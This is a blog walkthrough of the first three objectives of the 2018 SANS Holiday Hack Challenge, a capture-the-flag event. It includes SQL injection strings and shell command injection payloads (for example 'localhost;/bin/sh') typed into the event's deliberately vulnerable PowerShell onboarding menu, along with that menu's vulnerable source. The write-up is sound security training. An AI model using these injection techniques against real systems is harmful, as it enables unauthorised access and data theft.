A 2018 SANS Holiday Hack Challenge Journey
January 14, 2019, 23:51
Summary
- Presentation
- Objective 1 : Orientation Challenge
- Objective 2 : Directory Browsing
- Objective 3 : de Bruijn Sequences
- Objective 4 : Data Repo Analysis
- Objective 5 : AD Privilege Discovery
- Objective 6 : Badge Manipulation
- Google ventilation maze
- Objective 7 : HR Incident Response
- Objective 8 : Network Traffic Forensics
- Objective 9 : Ransomware Recovery
- Objective 10 : Who Is Behind It All?
- Mysterious backroom
- Appendices
Presentation
Meeting Santa
Entering Kringle castle, we meet Santa, which has a lot to tell us :
This reveals our 10 objectives. Moreover, Santa gives us a lot of valuable informations. One of them is very important like you can miss the fact that when clicking on your character you can access to your badge.
Looking at our objectives, we see that there are 10 of them :
A roadmap for our journey
From this list we can get a synthetic view of our objectives and some hints to achieve them :
Objective | Difficulty | Terminal & links | Character |
---|---|---|---|
1) Orientation Challenge | KringleCon Holiday Hack History kiosk Essential Editor Skills | Bushy Evergreen | |
2) Directory Browsing | CFP site The Name Game terminal |
Minty Candycane | |
3) de Bruijn Sequences | Lethal ForensicELFication terminal | Tangle Coalbox | |
4) Data Repo Analysis | North Pole Git repository Stall Mucking Report terminal |
Wunorse Openslae | |
5) AD Privilege Discovery | SANS Slingshot Linux Image CURLing Master terminal | Holly Evergreen | |
6) Badge Manipulation | sample employee badge Yule Log Analysis terminal |
Pepper Minstix | |
7) HR Incident Response | ELF Resources website Dev Ops Fail terminal | Sparkle Redberry | |
8) Network Traffic Forensics | web-based packet capture and analysis tool Python Escape from LA terminal |
SugarPlum Mary | |
9) Ransomware Recovery | Sleigh Bell Lottery terminal | Shinny Upatree | |
9.1) Catch the Malware | |||
9.2) Identify the Domain | |||
9.3) Stop the Malware | |||
9.4) Recover Alabaster's Password | |||
10) Who Is Behind It All? |
We have something like a roadmap, let's go for our 2018 SANS Holiday Hack Challenge journey !
To begin we have to enter in the Kringle Castle :
And this is a view of the hall of the second floor :
Objective 1 : Orientation Challenge
According to our roadmap, we can go and meet Bushy Evergreen for some hints about the « Orientation Challenge ».
Hi, I'm Bushy Evergreen.
I'm glad you're here. I'm the target
of a terrible trick.
Pepper says his editor is the best,
but I don't understand why.
He's forcing me to learn vi.
He gave me a link, I'm supposed to learn the basics.
Can you assist me with one of the
simple cases?
With the help of the given link to Indiana University Vi Tutorials, we can now try to solve the « Essential Editor Skills » challenge.
« Essential Editor Skills » terminal
........................................ .;oooooooooooool;,,,,,,,,:loooooooooooooll: .:oooooooooooooc;,,,,,,,,:ooooooooooooollooo: .';;;;;;;;;;;;;;,''''''''';;;;;;;;;;;;;,;ooooo: .''''''''''''''''''''''''''''''''''''''''';ooooo: ;oooooooooooool;''''''',:loooooooooooolc;',,;ooooo: .:oooooooooooooc;',,,,,,,:ooooooooooooolccoc,,,;ooooo: .cooooooooooooo:,''''''',:ooooooooooooolcloooc,,,;ooooo, coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;ooo, coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;l' coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,.. coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc. coooooooooooooo,,,,,,,,,;ooooooooooooooloooo:. coooooooooooooo,,,,,,,,,;ooooooooooooooloo; :llllllllllllll,'''''''';llllllllllllllc, I'm in quite a fix, I need a quick escape. Pepper is quite pleased, while I watch here, agape. Her editor's confusing, though "best" she says - she yells! My lesson one and your role is exit back to shellz. -Bushy Evergreen Exit vi. ~ ~ ~ ~ ~ ~ ~ ~ 1,1 All
To exit from vi, we have to strike the ESC key to switch to command mode and type the quit command :q :
~
~
~
:q
Then strike the Enter key :
Loading, please wait...... You did it! Congratulations! elf@5e75b12f010d:~$
Time to speak again with Bushy :
Wow, it seems so easy now that
you've shown me how!
To thank you, I'd like to share some
other tips with you.
Have you taken a look at the
Orientation Challenge?
This challenge is limited to past
SANS Holiday Hack Challenges
from 2015, 2016, and 2017. You
DO NOT need to play those
challenges.
If you listen to Ed Skoudis'
talk at the con, you might even pick
up all the answers you need...
It may take a little poking around,
but with your skills, I'm sure it'll be a
wintergreen breeze!
Bushy gaves us two new hints :
- a link to the Past Holiday Hack Challenges ;
- the Ed Skoudis talk at KringleCon can help us with this challenge.
She also unlocks a new objective, but this one is already in our roadmap since we discussed with Santa.
Before watching the Ed's conference, let's have a look at the Kringle History Kiosk.
The « KringleCon History» Kiosk
After watching the video and poking around in the past holiday hack challenges, we get all the answers.
Here are the questions and their good answers :
- « In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy? » Answer : Firmware.
- « In 2015, the Dosis siblings disassembled the conspiracy dreamt by which corporation? » Answer : ATNAS.
- « In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left? » Answer : Business card.
- « In 2016, Linux terminals at the North Pole could be accessed with what kind of computer? » Answer : Cranberry Pi.
- « In 2017, the North Pole was being bombarded by giants objects. What were they? » Answer : Snowballs.
- « In 2017, Sam the snowman needed help reassembling pages torn from what? » Answer : The Great Book.
With the good answers, we get the flag :
This flag can be used to achieve the first objective :
And, yes, it works :
We can mark the first objective :
Objective | Difficulty | Terminal & links | Character |
---|---|---|---|
1) Orientation Challenge | KringleCon Holiday Hack History kiosk Essential Editor Skills |
Bushy Evergreen | |
2) Directory Browsing | CFP site The Name Game terminal |
Minty Candycane | |
3) de Bruijn Sequences | Lethal ForensicELFication terminal | Tangle Coalbox | |
4) Data Repo Analysis | North Pole Git repository Stall Mucking Report terminal |
Wunorse Openslae | |
5) AD Privilege Discovery | SANS Slingshot Linux Image CURLing Master terminal | Holly Evergreen | |
6) Badge Manipulation | sample employee badge Yule Log Analysis terminal |
Pepper Minstix | |
7) HR Incident Response | ELF Resources website Dev Ops Fail terminal | Sparkle Redberry | |
8) Network Traffic Forensics | web-based packet capture and analysis tool Python Escape from LA terminal |
SugarPlum Mary | |
9) Ransomware Recovery | Sleigh Bell Lottery terminal | Shinny Upatree | |
9.1) Catch the Malware | |||
9.2) Identify the Domain | |||
9.3) Stop the Malware | |||
9.4) Recover Alabaster's Password | |||
10) Who Is Behind It All? |
We can now address the second objective.
Objective 2 : Directory Browsing
To achieve this challenge, we have to find « who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? ».
According to our roadmap, we can go and speak to Minty Candycane.
Hi, i'm Minty Candycane
Can you help me? I'm in a bit of a
fix.
I need to make a nametag for an
employee, but I can't remember his
first name.
May be you can figure it out using
this Cranberry Pi terminal?
The Santa's Castle Onboarding
System? I think it's written in
Powershell, if I'm not mistaken.
PowerShell itself can be tricky when
handling user input. Special
characters such as & and ; can be
used to inject commands.
I think that system is one of
Alabaster's creations.
he's a little ... obsessed with SQLite
database storage.
I don't know much about SQLite,
just the .dump command.
Minty gaves us two Hints :
- a link to a Powershell command injection article : Powershell call/& Operator ;
- a link to a page explaining how to dump a SQLite3 database : SQLite3 Data Dump.
May be we can inject powershell commands via the Onboarding system and dump the SQLite3 database ?
It's time to use the Name Game terminal !
Terminal "The Name Game"
We just hired this new worker, Californian or New Yorker? Think he's making some new toy bag... My job is to make his name tag. Golly gee, I'm glad that you came, I recall naught but his last name! Use our system or your own plan, Find the first name of our guy "Chan!" -Bushy Evergreen To solve this challenge, determine the new worker's first name and submit to runtoanswer. ==================================================================== = = = S A N T A ' S C A S T L E E M P L O Y E E O N B O A R D I N G = = = ==================================================================== Press 1 to start the onboard process. Press 2 to verify the system. Press q to quit. Please make a selection:
Ok, so we have to found Chan's firstname. Let's have a look to choice 1 :
Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
Enter your first name.
: fn
Enter your last name.
: ln
Enter your street address (line 1 of 2).
: 1
Enter your street address (line 2 of 2).
: 2
Enter your city.
: town
Enter your postal code.
: 12345
Enter your phone number.
: 1
Enter your email address.
: a.b@c.com
Is this correct?
fn ln
1
2
town, 12345
1
a.b@c.com
y/n:y
Save to sqlite DB using command line
Press Enter to continue...:
Hum, Save to sqlite DB using command line
. If there is a database, may be there is an SQL injection. Moreover the message tells that the save use command line, probably the SQLite3 command shell. Let's try putting some quotes in the fields :
Enter your first name.
: '
Enter your last name.
: '
Enter your street address (line 1 of 2).
: '
Enter your street address (line 2 of 2).
: '
Enter your city.
: '
Enter your postal code.
: '
Enter your phone number.
: '
Enter your email address.
: '
Is this correct?
' '
'
'
', '
'
'
y/n: y
Save to sqlite DB using command line
Error: 4 values for 8 columns
Press Enter to continue...:
Ok, ours injections have modified the SQL request structure and have generated an error, so there is an injection !
But we are probably in an INSERT
statement.
The statement is probably like this one : INSERT INTO onboard (firstname,lastname,address1,address2,city,code,phone,email) VALUES ('xx','yy','zz','aa','bb','cc','dd','ee');
,
and our injection has modified it to INSERT INTO onboard (firstname,lastname,address1,address2,city,code,phone,email) VALUES (''',''',''',''',''',''',''',''');
.
The error stands for 4 values for 8 colums
like SQLite interprets the values concatenating strings like this :
INSERT INTO onboard (firstname,lastname,address1,address2,city,code,phone,email) VALUES (''+','+'',''+','+'',''+','+'',''+','+'');
When the save to SQLite database works we have a message telling us that Save to sqlite db using command line
. So if we can modify the INSERT
command to add a SELECT
, may be we can read his result.
We're going to try to properly close the INSERT
command and add a simple SELECT
command to see if it works :
At Santa's Castle, our employees are our family. We care for each other, and support everyone in our common goals. Your first test at Santa's Castle is to complete the new employee onboarding paperwork. Don't worry, it's an easy test! Just complete the required onboarding information below. Enter your first name. : Enter your last name. : Enter your street address (line 1 of 2). : Enter your street address (line 2 of 2). : Enter your city. : Enter your postal code. : Enter your phone number. : Enter your email address. : ');SELECT 1;-- Is this correct? , '); SELECT 1; -- y/n: y Save to sqlite DB using command line Press Enter to continue...: 1
See the 1
at the end ? It works !
We can now try to list the tables in the database with the command SELECT name FROM sqlite_master WHERE type='table'
:
Your first test at Santa's Castle is to complete the new employee onboarding paperwork. Don't worry, it's an easy test! Just complete the required onboarding information below. Enter your first name. : Enter your last name. : Enter your street address (line 1 of 2). : Enter your street address (line 2 of 2). : Enter your city. : Enter your postal code. : Enter your phone number. : Enter your email address. : '); SELECT name FROM sqlite_master WHERE type='table'; -- Is this correct? , '); SELECT name FROM sqlite_master WHERE type='table'; -- y/n: y Save to sqlite DB using command line Press Enter to continue...: onboard
Ok, there is a single table named onboard
. May be a simple listing of this table content will reveal the Chan's firstname ? So we try a SELECT * FROM onboard
:
Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
Enter your first name.
:
Enter your last name.
:
Enter your street address (line 1 of 2).
:
Enter your street address (line 2 of 2).
:
Enter your city.
:
Enter your postal code.
:
Enter your phone number.
:
Enter your email address.
: '); SELECT * FROM onboard; --
[...] 139|Rachel|Trent|4653 Haaglund Rd||Lower Post|V0H 0H0|250-779-0723|racheljtrent@teleworm.us 140|Iva|Johnson|2939 Quilly Lane||Westerville|43081|614-544-2873|ivadjohnson@jourrapide.com 141|Lance|Arceo|86 Kingsway North||HOLMSIDE|DH7 9EW|070 5772 3162|lancemarceo@cuvox.de 142|Valerie|Howell|1142 rue Levy||Montreal|H3C 5K4|514-774-5866|valeriedhowell@superrito.com 143|Mary|Poirier|2038 Stutler Lane||Bedford|15522|814-423-2173|marydpoirier@einrot.com 144|Susanne|Camp|4146 Galts Ave||Red Deer|T4N 5Z9|403-373-2195|susannewcamp@armyspy.com 145|Ron|Peters|1364 137th Avenue||Edmonton|T5M 3K3|780-454-1668|ronlpeters@rhyta.com 146|Marjory|Bryant|4129 Court Street||Eureka|63025|636-587-5083|marjorykbryant@dayrep.com 147|Betty|Pratt|68 Oxford Rd||WOOTTON|CT4 5WA|070 4977 6152|bettygpratt@gustr.com 148|Regina|Chen|3930 Chestnut Street||Tampa|33619|727-482-0568|reginalchen@cuvox.de 149|Charles|Atkins|418 Hood Avenue||San Diego|92111|858-694-9634|charlesmatkins@gustr.com 150|Lawrence|Taylor|91 Scarcroft Road||PORT LOGAN|DG9 5LG|077 3050 1172|lawrencejtaylor@cuvox.de 151|Pam|Goudy|1785 Russell Street||Woburn|1801|978-853-5666|pamgoudy@einrot.com 152|Evelyn|Evans|2438 Reserve St||Parham|K0H 2K0|613-375-6041|evelyndevans@cuvox.de 153|Janice|Atkin|85 Oxford Rd||WORK|KW15 5EF|078 8718 3013|janicebatkin@dayrep.com 154|Hazel|Merrick|3751 Owen Lane||Naples|33940|239-263-5968|hazelbmerrick@cuvox.de 155|Pearlene|Ferrell|1410 Dominion St||Finch|K0C 1K0|613-984-2873|pearlenetferrell@teleworm.us 156|Peggy|Harper|1846 Davis Street||Chickamauga|30707|706-382-7319|peggyaharper@armyspy.com 157|Carol|Lindsey|4211 40th Street||Calgary|T2M 0X4|403-210-8234|carolglindsey@gustr.com 158|Santiago|Field|4783 Merivale Road||Kanata|K2K 1L9|613-592-3285|santiagobfield@einrot.com 159|Hugh|Torres|3773 Northumberland Street||Baden|N0B 1G0|519-634-7229|hughbtorres@teleworm.us 160|Claudia|Halpin|3248 Colonial Drive||College Station|77840|979-764-7262|claudiajhalpin@armyspy. com 161|Christopher|Windham|2310 Barton Street||Stoney Creek|L8G 2V1|905-664-5559|christopheruwindham@ fleckens.hu 162|Theodore|Young|4201 Providence Lane||Anaheim|92801|626-803-1180|theodoresyoung@cuvox.de 163|Lauren|Casey|4455 Fallon Drive||Hensall|N0M 1X0|519-263-7462|laurenjcasey@jourrapide.com 164|Molly|Logan|1544 St George Street||Vancouver|V5T 1Z7|604-871-8098|mollyhlogan@jourrapide.com 165|Alan|Guinn|3395 Galts Ave||Red Deer|T4N 2A6|403-309-5523|alanmguinn@fleckens.hu 166|Brenda|Johnson|65 Northgate Street||BETLEY|CW3 1TE|070 1362 3463|brendatjohnson@gustr.com 167|Catherine|Priest|1144 McDonald Avenue||Orlando|32810|407-924-7464|catherinebpriest@superrito.c om 168|William|McCoy|1019 Benson Park Drive||Newcastle|73065|405-387-6925|williammmccoy@superrito.com 169|Stephanie|Jaynes|1854 Tycos Dr||Toronto|M5T 1T4|416-605-0198|stephaniejjaynes@rhyta.com 170||||||||
This one returns too much datas. It's possible to look for Chan
in it, but it will be easier by narrowing the search in the table.
For this, we need to know the column names of the onboard table. The command SELECT sql FROM sqlite_master WHERE type != 'meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name = 'onboard'
will retrieve these columns names :
Is this correct? , '); SELECT sql FROM sqlite_master WHERE type != 'meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_ %' AND name = 'onboard'; -- y/n: y Save to sqlite DB using command line CREATE TABLE onboard ( id INTEGER PRIMARY KEY, fname TEXT NOT NULL, lname TEXT NOT NULL, street1 TEXT, street2 TEXT, city TEXT, postalcode TEXT, phone TEXT, email TEXT ) Press Enter to continue...:
Ok, the intersting column is probably lname
. So we try the command SELECT * FROM onboard WHERE lname LIKE '%chan%'
:
Enter your first name. : Enter your last name. : Enter your street address (line 1 of 2). : Enter your street address (line 2 of 2). : Enter your city. : Enter your postal code. : Enter your phone number. : Enter your email address. : '); SELECT * FROM onboard WHERE lname LIKE '%chan%'; -- Is this correct? , '); SELECT * FROM onboard WHERE lname LIKE '%chan%'; -- y/n: y Save to sqlite DB using command line Press Enter to continue...: 84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan 90067@gmail.com
We have the Chan's firstname, so we have now to give it to runtoanswer
. Let's quit the onboarding application and launch ./runtoanswer
> :
==================================================================== = = = S A N T A ' S C A S T L E E M P L O Y E E O N B O A R D I N G = = = ==================================================================== Press 1 to start the onboard process. Press 2 to verify the system. Press q to quit. Please make a selection: q
Seem's that there is a little bug : we can not quit the onboarding application !
CTRL-C
or Break
does not work either.
How can we launch runtoanswer
from the onboarding application ?
At this point we remember that there is a choice 2. Let's have a look. The script asks us for a server address. If we enter nothing, we see that the script launch a ping :
Validating data store for employee onboard information. Enter address of server: Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination onboard.db: SQLite 3.x database Press Enter to continue...:
With localhost
as server address it works fine :
Validating data store for employee onboard information.
Enter address of server: localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.033 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.039 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.044 ms
--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2037ms
rtt min/avg/max/mdev = 0.033/0.038/0.044/0.008 ms
onboard.db: SQLite 3.x database
Press Enter to continue...:
Since it seems to be a script launching the ping
command, may be we can inject a second command ? So using the ;
shell command separator we try to inject an ls
command :
Validating data store for employee onboard information. Enter address of server: localhost;ls PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.039 ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.041 ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.031 ms --- localhost ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2030ms rtt min/avg/max/mdev = 0.031/0.037/0.041/0.004 ms menu.ps1 onboard.db runtoanswer onboard.db: SQLite 3.x database Press Enter to continue...:
It works, we can now launch ./runtoanswer
with this command injection :
Note: if we had looked directly at the second option, we could had solved this challenge without exploiting the SQL Injection vulnerability. Instead, we could had launched an SQLite
command shell, load the database and browse it or dump it :
Validating data store for employee onboard information. Enter address of server: localhost;sqlite3 PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.037 ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.055 ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.043 ms --- localhost ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2037ms rtt min/avg/max/mdev = 0.037/0.045/0.055/0.007 ms SQLite version 3.11.0 2016-02-15 17:29:24 Enter ".help" for usage hints. Connected to a transient in-memory database. Use ".open FILENAME" to reopen on a persistent database. sqlite>.open onboard.db sqlite>.tables onboard sqlite>.schema onboard CREATE TABLE onboard ( id INTEGER PRIMARY KEY, fname TEXT NOT NULL, lname TEXT NOT NULL, street1 TEXT, street2 TEXT, city TEXT, postalcode TEXT, phone TEXT, email TEXT ); sqlite>SELECT fname FROM onboard WHERE lname LIKE "chan" Scott sqlite>
We can also get a system shell :
Validating data store for employee onboard information. Enter address of server: localhost;/bin/sh PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.039 ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.064 ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.058 ms --- localhost ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2055ms rtt min/avg/max/mdev = 0.039/0.053/0.064/0.013 ms $ ls menu.ps1 onboard.db runtoanswer $ id uid=1000(elf) gid=1000(elf) groups=1000(elf)
Or make the expected Powershell Injection, open the onboard.db
and dump it :
Validating data store for employee onboard information. Enter address of server: & "sqlite3" Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination SQLite version 3.11.0 2016-02-15 17:29:24 Enter ".help" for usage hints. Connected to a transient in-memory database. Use ".open FILENAME" to reopen on a persistent database. sqlite> .open onboard.db sqlite> .dump PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE onboard ( id INTEGER PRIMARY KEY, fname TEXT NOT NULL, lname TEXT NOT NULL, street1 TEXT, street2 TEXT, city TEXT, postalcode TEXT, phone TEXT, email TEXT ); INSERT INTO "onboard" VALUES(10,'Karen','Duck','52 Annfield Rd',NULL,'BEAL','DN14 7AU','07 7 8656 6609','karensduck@einrot.com'); INSERT INTO "onboard" VALUES(11,'Josephine','Harrell','3 Victoria Road',NULL,'LITTLE ASTON ','B74 8XD','079 5532 7917','josephinedharrell@einrot.com'); [...] INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067 ','4017533509','scottmchan90067@gmail.com');
Opening a shell we can also get the menu.ps1
source with a cat menu.ps1 command :
$global:firstrun = $TRUE function Show-Menu { $intro = @( "We just hired this new worker,", "Californian or New Yorker?", "Think he's making some new toy bag...", "My job is to make his name tag.", "", "Golly gee, I'm glad that you came,", "I recall naught but his last name!", "Use our system or your own plan,", "Find the first name of our guy `"Chan!`"", "", "-Bushy Evergreen", "", "To solve this challenge, determine the new worker's first name and submit to runtoanswer." ) $header = @( "====================================================================" "= =", "= S A N T A ' S C A S T L E E M P L O Y E E O N B O A R D I N G =", "= =", "====================================================================" ) cls if ($global:firstrun -eq $TRUE) { Write-Host "`n`n" for ($i = 0; $i -lt $intro.length; $i++) { Write-Host $intro[$i] } $global:firstrun = $FALSE } Write-Host "`n`n`n" for ($i = 0; $i -lt $header.length; $i++) { Write-Host $header[$i] } Write-Host "`n`n`n" Write-Host ' Press '1' to start the onboard process.' Write-Host ' Press '2' to verify the system.' Write-Host ' Press 'q' to quit.' Write-Host "`n" } function Employee-Onboarding-Form { Write-Host "`n`nWelcome to Santa's Castle!`n`n" Write-Host "At Santa's Castle, our employees are our family. We care for each other," Write-Host "and support everyone in our common goals.`n" Write-Host "Your first test at Santa's Castle is to complete the new employee onboarding paperwork." Write-Host "Don't worry, it's an easy test! Just complete the required onboarding information below.`n`n" $efirst = Read-Host "Enter your first name.`n" $elast = Read-Host "Enter your last name.`n" $estreet1 = Read-Host "Enter your street address (line 1 of 2).`n" $estreet2 = Read-Host "Enter your street address (line 2 of 2).`n" $ecity = Read-Host "Enter your city.`n" $epostalcode = Read-Host "Enter your postal code.`n" $ephone = Read-Host "Enter your phone number.`n" $eemail = Read-Host "Enter your email address.`n" Write-Host "`n`nIs this correct?`n`n" Write-Host "$efirst $elast" Write-Host "$estreet1" if ($estreet2) { Write-Host "$estreet2" } Write-Host "$ecity, $epostalcode" Write-Host "$ephone" Write-Host "$eemail" $input = Read-Host 'y/n' if ($input -eq 'y' -Or $input -eq 'Y') { Write-Host "Save to sqlite DB using command line" Start-Process -FilePath "./sqlite3" -ArgumentList "onboard.db `"INSERT INTO onboard (fname, lname, street1, street2, city, postalcode, phone, email) VALUES (`'$efirst`',`'$elast`', `'$estreet1`', `'$estreet2`', `'$ecity`', `'$epostalcode`', `'$ephone`', `'$eemail`')`"" } } try { do { Show-Menu $input = Read-Host 'Please make a selection' switch ($input) { '1' { cls Employee-Onboarding-Form } '2' { cls Write-Host "Validating data store for employee onboard information." $server = Read-Host 'Enter address of server' /bin/bash -c "/bin/ping -c 3 $server" /bin/bash -c "/usr/bin/file onboard.db" } '9' { /usr/bin/pwsh return } 'q' { return } default { Write-Host "Invalid entry." } } pause } until ($input -eq 'q') } finally { }
This gives us the sources of the injections vulnerabilities :
- the
INSERT
SQL statement is executed by launching aSQLite3
command shell like expected ; - the system verification launched a
ping
command as a parameter of a system shell, which permit us to injects system commands.
These two vulnerabilities are the result of a lack of control on user inputs. NEVER TRUST USER INPUTS !
We can also note that there is an hidden menu choice : with the choice 9 we could had obtained a powershell shell directly :
And yes, the 9 choice works :
====================================================================
= =
= S A N T A ' S C A S T L E E M P L O Y E E O N B O A R D I N G =
= =
====================================================================
Press 1 to start the onboard process.
Press 2 to verify the system.
Press q to quit.
Please make a selection: 9
PowerShell v6.0.3
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /home/elf>
We can now go back to Minty Candycane and see what she has to say.
Thank you so much for your help!
I've gotten Mr. Chan his name tag. I'd
love to repay the favor.
Have you ever visited a website and
seen a listing of files - like you're
browsing a directory? Sometimes
this is enabled on web servers.
This is generally unwanted behavior.
You can find sleighloads of
examples by searching the web for
index.of.
On a website, it's sometimes as
simple as removing characters from
the end of a URL.
What a silly misconfiguration for
leaking information!
Minty gaves us two new hints :
- a PortSwigger article on Website Directory Browsing ;
- how to find browsable directories on web site : « On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL ».
This can probably help us to find who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness.
It's time to look at the KringleCon Call For Papers web site.
« KringleCon Call For Papers » website
The CFP Site has two pages, the "CFP Home" and the "Call for Papers" :
Do you note that the "Call for papers" page sits in a cfp
directory ?
What happens if we try to request the directory instead of the cfp.html
page in it. Bingo, there is an open directory.
Requesting https://cfp.kringlecastle.com/cfp/
gives us a the list of files in cfp
directory :
Now, we know that there is a rejected-talks.csv
and we probably can get it.
The author firstname and lastname are : John McClane !
We may have achieved the second objective :
And it works !
Here is our updated roadmap :
Objective | Difficulty | Terminal & links | Character |
---|---|---|---|
1) Orientation Challenge | KringleCon Holiday Hack History kiosk Essential Editor Skills |
Bushy Evergreen | |
2) Directory Browsing | CFP site The Name Game terminal |
Minty Candycane | |
3) de Bruijn Sequences | Lethal ForensicELFication terminal | Tangle Coalbox | |
4) Data Repo Analysis | North Pole Git repository Stall Mucking Report terminal |
Wunorse Openslae | |
5) AD Privilege Discovery | SANS Slingshot Linux Image CURLing Master terminal | Holly Evergreen | |
6) Badge Manipulation | sample employee badge Yule Log Analysis terminal |
Pepper Minstix | |
7) HR Incident Response | ELF Resources website Dev Ops Fail terminal | Sparkle Redberry | |
8) Network Traffic Forensics | web-based packet capture and analysis tool Python Escape from LA terminal |
SugarPlum Mary | |
9) Ransomware Recovery | Sleigh Bell Lottery terminal | Shinny Upatree | |
9.1) Catch the Malware | |||
9.2) Identify the Domain | |||
9.3) Stop the Malware | |||
9.4) Recover Alabaster's Password | |||
10) Who Is Behind It All? |
Moving to the third objective now...
Objective 3 : de Bruijn Sequences
Following our roadmap, we look for Tangle Coalbox which is on the second floor in the coridor at right hand, just at the left of the speaker unpreparedness room :
Hi, I'm Tangle Coalbox.
Any chance you can help me with
an investigation?
Elf Resources assigned me to look
into a case, but it seems to require
digital forensic skills.
Do you know anything about Linux
terminal editors and digital traces
they leave behind?
Apparently editors can leave traces
of data behind, but where and how
escapes me!
We get a new hint : Forensic Relevance of Vim Artifacts. This will probably be usefull to solve the « Lethal ForensicELFication » !
Terminal "Lethal ForensicELFication" (first floor, second on right hand)
We have to find the first name of the elf of whom a love poem was written.
Looking in the directory we saw only the runtoanswer
script :
elf@9a47b22440e3:~$ ls
runtoanswer
elf@9a47b22440e3:~$
But if we look also for hidden files with a ls -A command :
elf@9a47b22440e3:~$ ls -A .bash_history .bash_logout .bashrc .profile .secrets .viminfo runtoanswer elf@9a47b22440e3:~$
There are two interesting files and one directory : .bash_history
, .viminfo
and the .secrets
directory.
First, we look at the .secrets
directory and found a poem in the her
subdirectory :
elf@9a47b22440e3:~$ cd .secrets
elf@9a47b22440e3:~$ cd .secrets
elf@9a47b22440e3:~/.secrets$ ls -A
her
elf@9a47b22440e3:~/.secrets$ cd her
elf@9a47b22440e3:~/.secrets/her$ ls -A
poem.txt
elf@9a47b22440e3:~/.secrets/her$ cat poem.txt
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure--
There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door--
Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
NEVERMORE in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
Of good fortune fates had borne him. Offered her his dexter forelimb,
Never was his future less dim! Should he now consider gliding--
No - they shouldn't but consider taking flight in sleigh and riding
Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
By his lovely NEVERMORE!
-Morcel Nougat
This is fun, but does not give us the first name of the elf of whom a love poem
was written like it's unlikely that the lady is called NEVERMORE
!
Looking at the command history, we saw that the poem was downloaded from internet and edited with VIM
. We can also note that a Google search for replacing strings in vim
has been done before editing :
